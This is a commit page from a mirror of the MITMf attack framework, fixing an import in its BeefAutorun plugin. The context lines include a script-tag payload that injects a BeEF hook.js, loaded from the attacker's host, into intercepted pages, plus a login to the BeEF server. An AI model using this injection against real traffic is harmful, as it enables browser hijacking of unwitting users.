mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
fixed beefapi import
This commit is contained in:
parent
52fb822c15
commit
84c9bab33c
2 changed files with 3 additions and 3 deletions
|
@ -22,8 +22,8 @@ import logging
|
|||
import sys
|
||||
import json
|
||||
import threading
|
||||
import core.beefapi as beefapi
|
||||
|
||||
from core.beefapi.beefapi import BeefAPI
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
from time import sleep
|
||||
|
@ -62,7 +62,7 @@ class BeefAutorun(Inject, Plugin):
|
|||
self.black_ips = []
|
||||
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
|
||||
|
||||
beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||
beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
sys.exit("[-] Error logging in to BeEF!")
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue